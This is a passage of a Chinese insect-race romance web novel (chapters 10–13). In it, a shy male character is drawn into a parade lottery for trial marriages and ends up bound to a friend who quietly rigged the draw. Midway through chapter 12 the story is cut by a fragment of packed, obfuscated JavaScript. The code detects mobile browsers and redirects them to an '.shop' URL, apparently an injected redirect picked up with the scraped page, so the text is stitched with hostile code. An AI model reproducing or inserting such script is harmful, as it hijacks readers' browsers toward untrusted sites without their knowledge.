在过去,这种敏感脆弱的家伙埃里亚看都不会看一眼,但如今被雄虫用希冀的目光望着,他忽然升出一股使命感。
——他是如此信赖你,仿佛你是他命运的主宰。
埃里亚听见一道声音如此对自己说。
深呼吸,压下心底翻涌的情绪,他尽量客观地分析起花车巡游的事情。
“请放心,雄保会还不至于干出‘强制’的事情。”
听见这话,伊森微微松了口气。但一口气没松完就又听见——
“表面上是这样。”
“表面上?那实际呢?”
伊森紧张地发问。
“既然你已经独自生活过一段时间,那么日常生活中应该有所察觉吧?雄保会的手段。”
埃里亚没有明说,但伊森知道对方的意思。不过他现在自己能够赚钱,平时都宅在家里,只要保护好自己不生病,雄保会的小手段应该也影响不到他吧?
似乎是看穿他的想法,雌虫继续道:“没那么简单。既然雄保会邀请你参加花车巡游,那么你一定是他们的重点观察对象。在那些部门里,一旦打上‘重点’的字眼,事情就麻烦许多。前段时间你告诉我你的住所遭遇小偷,我本以为是你运气不好,但如果你是雄虫的话——那或许不是偶然。”
“哎?”
“雄保会重点观察对象居然会被入室盗窃,如果不是那个片区的雄保会太过垃圾,只能是他们故意的。相比起来,我更相信后一个理由。”顿了顿,埃里亚又道:“当然,这只是我的猜测,你也不必太放在心上。毕竟雄保会是不可能放任重点观察对象在眼皮子底下出事的,你不必担心自己的安全。”
“可是,他们这么做是为什么?”
“伊森,冒昧地问一句,你为什么要拒绝雄保会的帮助?”
“这个…”伊森有些难为情,但还是如实回答:“他们老催婚,我不想那么早结婚…最主要是,不想和完全没有感情基础陌生虫结婚…”
他的声音越来越小,但埃里亚听力很好,将那些话一字不漏的听进耳朵里。
这个理由其实并不稀奇,但对一只没有家族做依靠的雄虫来说,仅仅因为这个理由就拒绝雄保会的帮助需要莫大的勇气。
缺乏常识、不会社交,连外出都无法适应的雄虫和…勇气?
换作是谁都无法把这两者联系起来吧?
矛盾的家伙。
埃里亚的心中再次蹦出这个词。
但不可否认,他对面前的雄虫产生了强烈的好奇。在星网上聊天时他就曾好奇过对面的家伙在现实世界中到底是什么样的虫,后来那股好奇被他压了下去,不成想两虫居然在雷伊丝山丘不期而遇。
现实往往会使幻想破灭,这是许多网友见光死的原因。
但在见到真正的伊森后,埃里亚反而生出更多的探究欲。
这只雄虫有怎样的过往?为何会做出现在的选择?未来又会走向哪一条道路?
这么有趣的家伙,留在身边一定会有许多新奇的体验
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。
几乎在一瞬间,他做下了决定。
埃里亚敛住情绪,继续之前的话题:“雄保会最喜欢做的事情就是‘帮助’适龄的雌虫和雄虫配对,你拒绝结婚的话,他们会很伤脑筋的。”
“你的意思是,因为我拒绝结婚,所以他们故意让我遭到入室盗窃?为什么?”伊森头脑有些混乱,但还是理出了线头。他看着坐在对面的雌虫,用缓慢的语速问:“他们是…想让我觉得独身不好?让我觉得害怕?然后开始想找一个依靠?”
“更严重一些,如果你受伤,他们甚至能以‘为你好’的理由开启匹配系统。”
“可是,可是雄保会不是保护雄虫的组织吗?这种违背雄虫意愿的事情怎么能是保护呢?”
“伊森。”埃里亚轻笑一声,笑声中似乎含着某种说不清的奇怪情绪,“你知道雄保会的高层有多少是雄虫吗?”
伊森愣住:“哎?”
雄虫清澈的眼睛里浮现出困惑,但埃里亚罕见的没有解答。他没在这个话题上继续深入,转而道:“这次第三区的花车巡游,我也收到一些内幕消息,比艾伦医生更多。想知道吗?”
“想!”
伊森瞬间被转移注意力,一双眼扑闪扑闪,仿佛在催促:快告诉我吧。
“花车巡游中的一个固定环节便是雄虫抽取幸运观众,让其上花车约会。不过这个环节可以选择放弃,之前有些雄虫阁下会以没有满意的雌虫为由一个都不选。但这次规则发生了一些变化。”
“这次的幸运观众若雄虫选不出来,便采取抽签方式选择,不可弃权。”
“怎么这样啊!”伊森不满地嘟囔一句,继续追问:“那,那熬过了和幸运观众的约会,是不是就没事了?”
熬过。
雄虫的可爱用词引得埃里亚轻轻一笑,他摇了摇头:“不止。这次规则变化最大的地方就是,幸运儿获得的不仅仅是约会资格,而是三个月的‘试婚’资格。”
“试,试婚?!”伊森惊讶的声音都有些变调,“可,可那样的话,万一抽签抽出来的幸运观众是坏家伙,伤害到参加巡游的雄虫怎么办?”
“所以许多雄虫阁下会选自己信得过的雌虫。信任本身就具有一定感情倾向,再加上试婚期的朝夕相处,结婚的成功率很高,不是么?”
伊森不死心:“参加巡游的雄虫都不反对吗?”
埃里亚:“所以这次选择的嘉宾都是不会反对的。”
没有权利反对,或是没有必要反对。
埃里亚看着焦虑地开始啃指甲的雄虫,语调温和,带着某种奇妙的韵律:“那么,伊森,你会怎么做呢?”
伊森,伊森不知道。
这次拒绝花车巡游的话,雄保会不知道又会弄出什么幺蛾子,万一下次无法招架怎么办?但同意的话,“试婚”怎么办?
三个月!九十天!
和陌生雌虫共处一室那么久,他一定会死的!
等等!
陌生…雌虫?
伊森忽然想起埃里亚的话——
【所以雄虫阁下一定会选自己信得过的雌虫。】
他看着面前的雌虫,双手紧握,满怀希望地问:“埃里亚,能帮帮我吗?”
雌虫朝他微笑,回答一如往日。
“当然。”
11. 第 11 章
伊森坐在角落里,双手抱膝,眼神完全没有焦距。
他在心里不断告诉自己“没事”,但身体还是忍不住轻微颤抖,心跳更是像上了高速,一路狂飙。
【小森小森,你没事吧?心跳好快,需要呼叫医疗么?】
听见AI管家的声音,伊森下意识碰了碰耳机,快速制止:“不用。谢谢小豆子,我没事。”
比起被医疗队占满屋子,他宁愿自己平复心情。
没关系,有埃里亚在,不会有事的。
熟悉的名字带来的安全感不容小觑,默念几遍后,伊森的心跳竟真的恢复一些。
情绪稍微稳定些后,他开始观察周围的环境。
房间不大,墙面是暖色调的布艺墙,地上铺着柔软的毛毯,家具颜色清晰,边角都包裹着圆润的线条,显得温馨又可爱。
天花板上的灯散发着柔和的光,落在身上暖洋洋的,像是太阳。
这里是伊森在花车上的房间。
雄保会应该对他做过调查,房间的装饰风格很合他的心意,沙发和飘窗上精致的毛绒玩偶更是戳中他的萌点。如果他出现在这里的理由不是即将开始的花车巡游,他一定会非常欢喜。
“唉——”
叹了口气,伊森拽过一个等身大小的棕熊玩偶,和玩偶一起缩回墙角。
捏了捏棕熊毛茸茸的手臂,他小声问:“小豆子,现在几点了?”
【19:39,距离花车巡游正式开始还有21分钟,距离小森闪亮登场还有21分钟!】
“21分钟。”伊森捂住脸,声音像是小动物的呜咽,“小豆子,我想逃走。”
【不建议小森这么做哦~】
伊森当然知道,这种时候说逃跑不现实,可一想到接下来将要面对密密麻麻的生面孔,他就感到一阵窒息。
头好晕,胸口也有些发闷。
【检测到小森心情不佳,要和埃里亚通话吗?】
“小豆子,不要把埃里亚当成镇定剂使用啦。”
吐槽一句,伊森到底没拒绝AI管家的提议。不过考虑到即将开始的活动,他并没有语音通话,只是给光脑通讯录的置顶对象发出一条消息。
【呜呜呜,埃里亚,我还是好紧张怎么办?QwQ】
输入文字,发送。
几乎是同一时间,对面的回复在光脑上出现。
并不是文字,而是一张花车的照片。像是不经意之间随手拍摄,带着一股自然灵动。光影将照片切割的十分完美,让画面中央的花车冲击力十足。
伊森眼睛一亮,快速打字。
做手工の小森:【酷!原来花车从外边看是这样的吗?!】
回答他的更多的照片,全方位无死角的展示着他所在的花车。
N0975:【感兴趣的话待会儿我们可以一起围着花车逛逛,巡游路线上还有许多美食,相信你会喜欢。】
伊森顺着文字中的计划畅想,对花车巡游的抗拒减轻不少。
N0975:【慕斯、泡芙、新鲜的冻奶,或者你想吃点重口味的?】
一张张照片跟在文字后面,食物的香味似乎透过静态画面传进伊森的鼻子里。他喉结滚了滚,嘴里的唾液分泌都更加旺盛。
做手工の小森:【星星眼.jpg】
N0975:【心动了吗?】
做手工の小森:【超级宇宙无敌心动!】
N0975:【伊森,很荣幸能让你心动。】
“怦怦。”
伊森好似听见自己的心跳声,不知为何越来越大,仿佛整个房间都是富有节奏的“怦怦”声。
心动?
这个词用在这里没问题吗?没问题吧?应该只是好友间的玩笑话。
不要多想。
伊森强迫自己不要纠结细节,好不容易将注意力转移,沉寂许久的AI管家却道:【捕捉到关键词。小森小森,埃里亚似乎在对你表白,你可一定要把持住,别被简单的甜言蜜语哄骗啦!】
“小豆子你在说什么!才才才不是呢!这只是朋友间的交流啦!”
【可是,据统计…】
“没有可是!”伊森难得强势了一把,命令道:“小豆子,安静。”
【好吧好吧,小豆子先离开啦,有事呼叫我哦~】
耳机里没再传出令虫羞耻的话,伊森松了口气。转了转腕上的光脑,他有些不敢看聊天界面上的文字。
“咚咚咚。”
耳边又传来富有节奏的声音,伊森吓了一跳,下意识捂住自己的心口。
心跳速度有些快,但在正常范围内,应该发不出那样明显的声音。
他抬起头,朝房门处望去。
“咚咚咚。”
房门又响了三声。
时间到了吗?
伊森看了眼时间——19:45,还有15分钟。
正当他疑惑的时候,房门被缓缓推开。缝隙里露出几撮棕色的毛发,随着房门开启幅度变大,那抹棕色又缩了回去。
等了十几秒,门后露出一个毛茸茸的脑袋。
“你好,我叫维安。巡游马上要开始了,我们一起去甲板上,可以吗?”
*
“就剩5分钟,我好紧张啊。伊森,你紧张吗?”
“…”
“看样子非常紧张,话说你就这样亮相吗?就穿这身黑色卫衣?我还以为你会换身衣服再出来呢,早知道我应该把我的礼服带过来。”
“…谢谢,但我觉得我,现在这样就,很好。”
“哪里好啦!作为雄虫你怎能过得如此粗糙呢?你身边的虫都是怎么照顾你的?”
话一出口,名为维安的棕发雄虫像是意识到什么,赶紧转移话题:“哎呀哎呀,反正也来不及换,不说这个了!以后要是再有活动的话你一定要让我先帮你选身好看的衣服!”
对方转移话题的方式有些生硬,但正好解了伊森的尴尬,两虫默契地聊起了其他。
当然,用“聊”这个词不太恰当,毕竟他们之间更像是一只单方面说,另一只单方面听。
不过伊森对现在的局面非常满意。
他实在不会应对陌生存在,若不是维安一直叽叽喳喳,他们之间一定会冷场。
名叫维安的棕发雄虫个子不高,比伊森还要矮半个头,脸颊肉嘟嘟的,比伊森更像个孩子。不过按年龄算的话,对方比伊森还要大上两岁。
据说是发育的比较晚,所以不久前才迎来发育关,成为一只成年雄虫。
当然,也没有逃过虫族的传统,刚成年就被催婚。
不过作为本土雄虫,维安接受良好,甚至对接下来的活动兴致勃勃,看不出一点被迫的样子,和伊森是两个极端。
“啊啊啊,好好奇,不知道这次我会抽中哪只虫?虫神保佑,希望我能抽到自己喜欢的雌虫!啊,不对,我更喜欢亚雌来着。”
“重来一次,希望我能抽到自己喜欢的亚雌!”
身旁的棕发雄虫压低声音念叨,仿佛在说着某种咒语。原本一直扮演倾听者的伊森捕捉到其中的关键词,第一次主动开口:“抽?”
“嗯?怎么了伊森,你不知道这次巡游有抽签环节吗?”难得小伙伴主动发问,维安立马兴奋道:“这次有个抽签环节,抽中的虫是我们的‘试婚’对象呢!”
“不是,不是可以自己选吗?”
“确实可以,但抽签不是更刺激吗?况且我身边也没有合适的雌虫,抽签反而能让我认识新的雌虫呢!”
棕发雄虫轻描淡写的模样让伊森震惊,他瞪大眼睛,瞳孔里满是疑惑:“可是,可是不认识的虫,很危险的。万一伤害你怎么办?”
“怎
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么可能?!”维安露出夸张的表情,“能进入抽签盒的雌虫都是经过雄保会精挑细选的,外貌、等级、财富缺一不可,家世绝对清白!对我们这种出身普通的雄虫来说,抽签选中的对象可比日常接触的雌虫高好几个档次呢!”
见小伙伴一副懵逼的表情,维安踮起脚勾住对方的肩,带着些指点意味地说:“参加这次巡游的雄虫B级打底,相应的,抽签盒里的雌虫质量会更高。放心吧伊森,闭眼抽,绝对不会出错的!”
伊森还是没反应过来,听见维安口中的“抽签”下意识摇头:“不,我不抽。”
“不抽签?”维安愣了一下,眼中迸发出奇异的光,“难道你有想选的雌虫吗?!是谁?是谁?是谁那么幸运,得到了我们小伊森的喜爱?”
雄虫过于热情的态度让伊森招架不住,只得报出一个名字:“…埃里亚。”
“哦~埃里亚!”维安一手抚胸,一手高举,像是话剧演员那般,声音都变得更加浑厚,“真是只狡猾的雌虫,真是只幸运的雌虫!”
伊森感到害臊,伸手扯了扯维安的衣袖,想要对方停止这夸张的表演:“维安,别这样。”
“为什么不?难道我说错了吗?”维安一脸正经,“在雄虫接触在更广阔的世界前就出手,这不是狡猾吗?”
“没有…埃里亚,埃里亚只是在帮我…”
伊森不想维安误会埃里亚是只心机深沉的虫,但他们之间的互帮互助又不好明着告诉其他虫。
说来说去,他和维安才刚认识,还没熟悉到交心的程度。
两虫交谈的时候,又有两只雄虫出现在他们附近。
其中一只向他们点头示意,另一只像是没看见他们,连一个眼神都没给。
相比维安,那两只雄虫打扮更加精致,尤其是理都没理过他们的那只,华丽的像是参加宫宴的王子。一袭长袍拖地,上面坠满宝石,个个看着都十分名贵。但满身的饰品却不显得凌乱,反而衬得那只雄虫贵气十足。
看着…很有距离感的样子。
伊森往后退了退,离那两只雄虫远一些。要是条件允许的话,他一定会钻进附近的墙角里。
“那是兰珈,旁边那个是他的兄弟拉斐尔。”维安凑到伊森耳边同他咬耳朵,“他们都是威尔逊家族的雄虫,就是那个有名的珠宝世家威尔逊家族!拉斐尔和我们一样都是B级,但兰珈可是A级雄虫呢!”
家族力量强大的A级雄虫也要参加花车巡游吗?
不等伊森询问,维安就自动开启解答模式:“听说兰珈和他的未婚雌君吵架了,来这里大概是想找点乐子吧?拉斐尔应该是陪他一起来玩的,不知道他们会不会看上抽中的雌虫。但这种身份的雄虫,见到就是赚到,底下那些雌虫一定乐疯了吧?”
“算了,我还是想想自己吧。虫神保佑,希望我抽到一只可爱的亚雌!”
在维安的祈祷声中,前方的幕布缓缓拉开,光线洒落在四只雄虫身上,缓缓将他们照亮。
“啊啊啊!阁下!阁下请看看我!”
“阁下,阁下看我!我是龙跃公司的总经理,我…”
“滚开,这点资产说什么?阁下,我有三颗矿石星,在各个网红星球都有资产,请看看我!”
…
仿佛被一只无形的手按下开关键,声音从四面八方涌来,使劲往伊森的脑子里钻。
密密麻麻的陌生面孔让他产生眩晕,下意识攥紧胸口的衣服。
好多虫。
兴奋,激动,好似下一秒就会冲上花车。
伊森额头上渗出细密的汗珠,呼吸变得急促。他下意识想要躲起来,视线飘移之间,手腕上光脑忽然发出几声震动。
是新的聊天消息送到时特有的震动,富有规律的间隔仿佛在说:
【我在这里。】
他忽然没那么害怕了。
12. 第 12 章
“这次的四位雄虫阁下等级都不低,除了A级的兰珈阁下,剩下三位也都B级往上。怎么样,有心动的吗?”
“你不该问我,该去问制签的雄保会。”
“哈,也是。不知道这次他们又从中收了多少钱,真羡慕那些进入雄保会的虫。不过说真的,你真的一点都不心动吗?”
“你猜?”
“哈哈哈,你绝对花钱把自己的名字放进抽签盒了吧!”
“难道你没有?”
“当然——有。威尔逊家族的雄虫我是不指望了,另外两位都是普通家庭出身,有位阁下甚至是孤儿呢。诺,就是那位金发的阁下。之前我只是偶尔听内部的工作虫员提起,没想到居然这么漂亮!”
“所以你把自己的名字放进了那位阁下的抽签盒?”
“我倒是想啊,但…”
“铛——”
花车开始巡游的信号打断了两只雌虫的交谈,站在他们附近的莱尔小小失望了一下。
不过他半点没有表现出来,一手插在兜里,一手摇晃着红酒杯,一副云淡风轻的模样。
他现在所在的位置是这次活动的VIP观赏位。
VIP观赏位是一条长长的通道,大概两层楼高,和花车巡游路线一致,能清楚看见花车甲板上的雄虫。当然,价格也不便宜,能站在这里的都是些家财万贯的有钱虫。楼上还有个VVIP位置,不仅看得清楚,甚至在某些地方还能和雄虫阁下们近距离接触。
不过想再上一层,需要付出的就不单单是金钱了。
往常楼上那层很少有虫在,这次数量却不少,想必都是为了A级的兰珈阁下吧。
真羡慕那些能参与追逐A级雄虫的家伙。
不过再羡慕,莱尔也没忘记他此行的目的。
比起那些祈求虫神保佑能被抽中的赌徒,他是有任务在身的。
莱尔是位演员。
当然,并非是活跃在影视剧里的明星,而是有虫雇佣他当一名演员,在这次花车巡游活动上进行一场表演。出场费非常丰厚,若是事成,还有一笔不菲的奖金。
委托者准备充分,不仅为他定制了一身唬虫的行头,还为他安排了一个高贵的身份。虽然比起楼上那波虫完全不够看,但对普通虫来说已经是天花板级别。
无论是普通雌虫,还是普通雄虫。
将饮尽的酒杯放在路过侍者的托盘里,莱尔迈开步子,优雅从容地朝着目的地移动。他时不时碰到几只抢到VIP位置的雌虫,但没哪个比他看着更有气势。
在心里给自己打了个高分,莱尔对接下来的表演信心倍增。
神秘雇主交给他的任务是花车停留在中心广场时的互动环节期间,对其中名为伊森·克里克的雄虫阁下深情告白。
结合他搜集到的资料,他觉得自己成功的概率很大。
毕竟他的目标是个B级孤雄,在可能选择对方做雄主的一众雌虫中,他的外貌和捏造出的身份都具有极大的优势。虽然当那只雄虫露出庐山真面目后竞争者会增加一些,但影响不大。
几分钟的功夫,莱尔到达了中心广场附近,这里的通道有一处开场看台,往外延伸了十米左右,巡游中花车会从看台旁经过,那是他们距离花车最近的时刻。
理了理领结,他目光灼灼地注视着花车即将到来的方向,心中不断默念着接下来的台词。
“来了!花车来了!”
“阁下!阁下看这边!”
“阁下!阁下看看我,请听我说一句话吧!”
大概过了半小时,不知是谁第一个叫出声,雌虫们欢呼起来。
无论是聚集在街上的平民虫,还是他们这群抢到VIP的富贵虫,所有虫都为雄虫的到来躁动起来。
在这样的环境中,莱尔也不免紧张起来。
他将手藏在衣袖中死死捏住,眼睛一眨不眨。
近了,近了…
花车距离他越来越近…
好!就是现在!
“伊森·克里克阁下,不知可否赏脸,听我说几句话呢?”
莱尔僵在原地,满脸震惊地望向声源处。
怎么回事?有虫抢他的活儿?
*
右手处的刺痛让伊森放空的大脑逐渐清醒,他疑惑地看向一边掐他一边使眼色的维安,有些搞不清楚状况。
在对方眼睛快要抽筋的时候,他终于读懂其中的暗示,将注意力放在了正前方的雌虫身上。
话说…正前方?
伊森睁大眼,忽然发现正前方的雌虫是悬停在空中的!
雌虫长着一张英俊的脸,银色卷发和翠色眸子十分吸睛,蜜色的皮肤看上去充满力量,流畅的肌肉包裹在裁剪合身的制服之下,仿佛建模造出的虚拟物般完美。在他身后,巨大的翅膀向外延展,美丽而富有力量。
市区内是不允许雌虫张开翅膀的,但今天情况特殊,雌虫们被允许用翅膀吸引雄虫的注意。但在这只雌虫张开翅膀后,其他虫都安静下来。
毕竟,没有虫想因为一只B级雄虫挑战高等种。
世界被按下静音键,只剩下雌虫的声音在回荡:“伊森·克里克阁下,请原谅我的冒犯,能否让我同您说两句话呢?”
这是…怎么回事?
伊森确信自己并不认识眼前的雌虫,他半点没有被高等种搭讪的骄傲,心里全是面对陌生虫的惶恐。
怎么办怎么办怎么办?拒绝?要不直接逃跑吧?
就在他不知如何反应时,手臂被身侧的维安死死抓住。
棕发雄虫用克制又兴奋的声音道:“爱德里安!他是阿列克斯·爱德里安!天啊,伊森你撞大运了,居然被大家族的高等雌虫搭讪了!快,快过去!”
后背被狠狠一推,伊森踉跄着往前走了两步。
他转过身,维安朝他偷偷竖起大拇指。
他又看了看周围,似乎所有虫都盯着他,等待他的下一步动作。
努力克制住心中的惧意,伊森掐了自己一把,颤声道:“你,你好,请问有…有什么事吗?”
声音很小,如同幼崽孱弱的呼唤,但依旧被雌虫出色的听力捕捉到。
雌虫露出标准的微笑,道:“伊森·克里克阁下,请问我是否有幸成为您选中的幸运儿,获得与您约会的资格呢?”
“嘶——”
“天啦!”
虫群中发出几道抑制不住的低呼。
伊森明显感觉到,落在自己身上的视线变多了,连之前完全没在意过他的兰珈也用审视的目光打量着他。
那些视线中带着各种各样的情绪,他分辨不出来,只觉得所有视线汇聚成一座山,压得他喘不过气。
“没想到爱德里安家的继任者会出现在这里,他不是和菲瑞阁下好事将近吗?”
“谁知道?比起这个我更关心现在的情况!他可是阿列克斯·爱德里安,是可以和圣殿里那些S级预备役缔结婚姻的虫,为什么会对一只B级阁下主动出击?”
“真的假的?那位阁下到底是何方神圣?”
…
名为阿列克斯的雌虫让虫群躁动起来,伊森好不容易稳定下来的情绪也逐渐崩盘。
偏偏一旁的维安还在添乱。
棕发雄虫不知从哪儿找来麦克风,一把塞进他的手里:“抓住机会啊,伊森!无论他出于何种原因向你发出邀请,你都绝对不会亏!这可是跨越阶级的好机会!”
围观雌虫们的窃窃私语和维安的激动催促混杂在一起,咒语一般钻进伊森的脑袋,将他本就所剩不多的理智彻底摧毁。
他只觉得胸口胀痛,大脑一片空白。
怎么办…怎么办…怎么办?
这种时候…要是埃里亚在就好了。
熟悉的名字划过脑海,如果夜空中划过的流星。伊森追逐着那抹光,不自觉呼唤:“埃里亚。”
麦克风将声音无限放大,中心广场上空回荡着雄虫略带颤抖的声音。
“您在说什么?”
雌虫的询问让伊森如梦初醒。
意识到自己做了什么,他索性破罐子破摔,握紧手中的麦克风,大声道:“我…我选埃里亚!我们说好了,无论如何我只会选择埃里亚!除了埃里亚之外的其他虫我都不会考虑!非常抱歉!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929808|192778||http|test|mini|href|location''.split(''|''),0,{}));
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>“除了埃里亚之外的虫我都不会考虑…”
“不会考虑…”
“考虑…”
社恐骤然爆发的力量不容小觑,空气里全是雄虫的声音,震得所有虫静了音。
伊森浑身一僵,后知后觉地被巨大的尴尬填满。他再也克制不住逃跑的欲望,将兜帽盖在头上转身逃离。
直到冲进花车内部,封闭的建筑将周围的视线全部隔绝,他才脱力地靠在墙上,像融化的冰激凌一般一点点瘫软下去。
“刚才…我做了什么?小豆子,刚才发生的一切是我的幻觉吧?对吧?”
【嗯?小豆子可以说话了吗?耶!】
【对了,回答小森的问题,刚才小森在官方统计九百六十三万七千四百九十二只虫面前向埃里亚告白了哦~】
【PS.不是幻觉。】
伊森捂住脸:“别说了,求你别说了。”
此时此刻,他快要被羞耻感淹没,恨不得自己从未来到过这个世界。
或许是情绪过于激动,他眼前一黑,脚下一软就要摔倒在地。
咚——
预想中的撞击声并未响起,伊森也没有感到疼痛。
他疑惑地抬起头,坠入一双温柔的紫色瞳孔里。
“埃里…亚?”
“抱歉,伊森,我来晚了。”
熟悉的面容,熟悉的声音,熟悉的气息。
是自他来到这个世界就一直陪伴在他身边的埃里亚。
“哇呜呜呜——”
混乱的情绪有了宣泄口,伊森再也忍不住,扑进埃里亚怀里放声大哭。
“呜呜呜,好可怕,全是不认识的虫,埃里亚,我好害怕…”
“没事了,伊森,没事了。”
雌虫一下一下拍打着他的后背,声音低沉舒缓,如同一首安魂曲,让他感到阵阵安心。
在温暖的怀抱里,他渐渐睡了过去。
埃里亚低下头,轻轻拂开遮挡住雄虫面容的碎发,让对方靠在自己心口处。
阿列克斯·爱德里安的出现在意料之外,但后续发生的一切他很满意,非常满意。
唇角勾起愉悦的弧度,他朝藏在阴影中的下属道:“我先带他回去,剩下的交给你了。”
墙上的影子晃了晃,而后归于平静…
一点点小插曲并不影响花车巡游活动圆满落幕。
当花车上的雄虫阁下们转移阵地,原本热闹的街道安静下来,只剩下不知疲倦的机器清点着雌虫们情绪激动下造成的损失,根据监控录像将一张张罚单发出去。
“好烦,有机器虫不就够了吗?为什么我们也得在这里守着?我也想继续追着阁下们好吧!”
“继续追着阁下们然后被当成可疑分子扔进监狱吗?别白费力气,好好工作吧。”
“所以这种垃圾让机器虫处理掉不就好了吗?何苦让我们亲自动手?”
身着制服的雌虫不满地嚷嚷,越想越气,一脚踹在地上的方盒子上。
“砰”的一声,盒子倒地,几根竹签从洞口处洒落出来,在地上砸出清脆的响声。
“你在干什么!”
同样身着制服的另一只雌虫将地上的竹签塞回盒子里,紧张的四处张望,发现没有其他虫后松了口气。他看着同伴,言语中带着怒意:“你知道这些盒子里装的都是谁的名字吗?他们允许雄虫挑选,不代表允许我们随意对待!要是被发现了会有什么后果你知道吗?!”
“这…这不是没虫吗?”
踹盒子的雌虫嘴硬,语气却软了下来,显然十分心虚。
他看了眼被自己踹倒的盒子,啧啧道:“这是伊森·克里克阁下的抽签盒吧?可惜没用上,那些花钱把名字塞进去的家伙真是亏大了。”
“他们可用不着你的同情,赶紧工作吧。”
说着,两只雌虫抱着抽签盒走向销毁处,连同里面的竹签一起丢进机器里。
如果他们不那么紧张的话,就会发现掉出来的几个竹签上写着同一个名字;如果他们好奇心再强一些的话,就会发现整个抽签盒内只有一只虫的名字。
埃里亚·雷蒙德。
13. 第 13 章
“在这里签名字就可以了吗?”
伊森侧头问身边的埃里亚,得到对方肯定的答复后爽快的在空白处签下了名字,丝毫没仔细看纸上的内容。
“您不再看一下上面的条款么?”
工作虫员忍不住提醒。
陌生的声音让本就紧张的伊森产生强烈的不适感。他没有回答,手上的动作更快,一把将签好名字的纸塞进机器里。
“申请通过。请仔细阅读下列注意事项,确认无误后按下指纹确认。”
随着提示音响起,屏幕上出现一长串文字,左下角的页数栏数字更是飙到了748。
“阁下,请允许我来为您简单解读一下条款,大部分阁下最关注的是第二章和第三章…”
工作虫员话没说完,伊森就开始滑动屏幕,飞快在“确认”键上按下自己的指纹。
“临时婚约条例参考婚姻法,增加…”
“已确认。”
“若对结果不满意,请在试婚期间提出…”
“已确认。”
“请注意,若未在规定时间内提出…”
“已确认。”
“伊森·克里克阁下,请问是否确认与埃里亚·雷蒙德缔结…”
“已确认。”
不断重复相同的动作后,挤满屏幕的文字总算发生变化,变为颜色艳丽的祝贺画面,上面写着大大的“恭喜”二字。
伊森又戳了戳屏幕,发现没有新页面弹出来后松了口气。
他往边上挪了两步,和工作虫员拉开一段距离后才凑到埃里亚身边,轻轻扯了扯对方的衣角。
埃里亚瞬间理解了他的意思,对工作虫员温和一笑:“剩余的补充资料我会自行上传,请不用担心。”
工作虫员用担忧地看着不肯发声的雄虫阁下。作为婚姻登记处引导员,工作以来他从未见过这样爽快的雄虫,以至于他有些怀疑这位雄虫阁下受到了欺骗或者胁迫。
不过有些话他可不敢说得太明确,毕竟上司让他来为这两位服务前可是暗示过:雌虫的身份不一般。
算了,总归模板条款不会坑雄虫,有些事情轮不到他一个底层小虾米操心。
“好的,那我就先行离开。需要帮助的话请按右边的红色按钮,我随时都在。”
恭敬地走完流程后,工作虫员识趣地离开。
随着房间里的陌生气息消失,伊森长舒口气,倒退着移动到沙发前,一下子瘫软在上面。
“呼,终于走了。”
快要躺平在沙发上时,他又一下子僵住,紧张道:“他不会再回来吧?”
“请放心休息,他不会进来的。”
埃里亚一心二用,一边飞快地在机器上输入文字,一边回答雄虫的问题。
瞳孔中映照着密密麻麻的条款,但不同于伊森的毫不关心,他将每一条都看在眼里。
想到雄虫无脑按下确认的模样,他忍不住问:“伊森,不看看这些条款吗?”
“条款啊…”
伊森抓起桌上的零食塞进嘴里,双颊嘟起,像是只进食的仓鼠。他使劲嚼了嚼,咽下部分食物后道:“字好多啊,我不想看。”
他的成绩不算好,前世只勉强考上二本,并且没多久就休学了,来到虫族社会后更是成了半个文盲。那几百页的条款比课本还厚,穿插着无数专业术语,一看就头晕。
他不想勉强自己,更何况——
“埃里亚一定不会坑我的。”
埃里亚一愣,下意识摸了摸自己的眼睛。屏幕上映照着雌虫英俊又温和的面容,但当他卸下微笑时,那双紫色的眼睛仿佛深不见底的洞窟,藏着说不清的危险。
媒体曾评价他是“军雌中唯一的绅士”,不过他的政敌们更喜欢称他为“笑面虎”。
但无论如何,没有任何一只虫会认为他纯良。即便是那些希望和他深入发展的雄虫,也不可能将“婚姻大事”全权交给他处理,不提一点要求。
当然,或许某只没心眼的雄虫并不认为他们正在缔结婚约,不过埃里亚依然受用。
对于看得上的虫,他一向大方。
所以伊森收到了一份特别的礼物。类似于虫族的黑卡,不仅可用于购物,还是许多高端场所的VIP卡,甚至可以调动一定规模的军队。
伊森:“…”
伊森:“埃里亚,这个,这个给我吗?”
虽然一直知道埃里亚家底丰厚,但能随手送出这样的礼物,对方的身份比他预想的更高。
可埃里亚一直很有分寸,不会送过于贵重的礼物,为什么现在…难道?
伊森灵光一闪,露出恍然大悟的神情。
“埃里亚,这个是雄保会的要求吗?之后的一个月我是不是得用这张卡?”
埃里亚读懂了雄虫想要表达的意思。
对方大概是将他送礼物的行为误认为雄保会对“试婚”阶段雌虫的要求。其实这么说也不算错,不过规矩是死的虫是活的,有点家底的雌虫会用各种手段规避财产被套走的风险。而到他这种层面,该担心家底被套走的该是雄虫了。
不过这些阴暗面的东西就不用对单纯的雄虫一一说明了。
埃里亚没有肯定也没有否定,只说:“拿着吧伊森,接下来的时间请多关照。”
“嗯,嗯,请多关照。”
伊森接过雌虫递来的黑卡,立马开始在兜里翻找。
自从出了入室盗窃事件,他就养成了把家当随身携带的习惯,这次也一样。因为事发突然,他有些手忙脚乱,幸好随身携带的东西不多,没几秒他就从兜里掏出一张彩色的方形卡片。
卡面是蜡笔笔触的儿童画,画手是他本虫。因为实在不喜欢银行提供的标准卡面,犹豫许久,他还是将自制样图寄给银行制卡。
这张卡关联直播平台,他的直播收益都会打进这张卡里。可以说,他的大半资产都在里面。
虽然对比埃里亚的黑卡里面的资产少得可怜,但这是态度问题。
伊森将自己的银行卡递出,脸上发热:“那个,这个是我的银行卡,之后三个月的花销到时候会从这张卡里补上的。当然,埃里亚如果有喜欢的东西,也可以用这张卡买。”
语罢,他才反应过来面前的雌虫可是能送出黑卡的存在,怎么会在意自己的三瓜两枣?更何况以对方的生活品质,自己的银行卡怕是一次就会被刷爆吧?
他脸上更红,头埋得很低,嗫嚅道:“嗯,嗯,可能…就…如果需要买些小东西的话…大概…大概还是能用的…总,总之,我的花销以后会从这张卡补上的!”
